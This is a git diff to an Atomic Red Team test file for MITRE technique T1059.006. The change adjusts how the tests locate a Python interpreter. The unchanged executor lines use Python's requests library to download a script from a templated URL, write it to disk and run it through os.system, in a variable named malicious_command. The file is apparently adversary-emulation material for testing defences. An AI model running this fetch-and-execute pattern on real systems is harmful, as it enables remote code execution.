diff --git a/atomics/T1059.006/T1059.006.yaml b/atomics/T1059.006/T1059.006.yaml index 3c3714ec..5a833829 100644 --- a/atomics/T1059.006/T1059.006.yaml +++ b/atomics/T1059.006/T1059.006.yaml @@ -27,12 +27,13 @@ atomic_tests: dependencies: - description: Verify if python is in the environment variable path and attempt to import requests library. prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | + which_python=$(which python || which python3 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)' name: sh cleanup_command: | @@ -68,12 +69,13 @@ atomic_tests: - description: | Requires Python prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | + which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -124,12 +126,13 @@ atomic_tests: - description: | Requires Python prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | + which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name}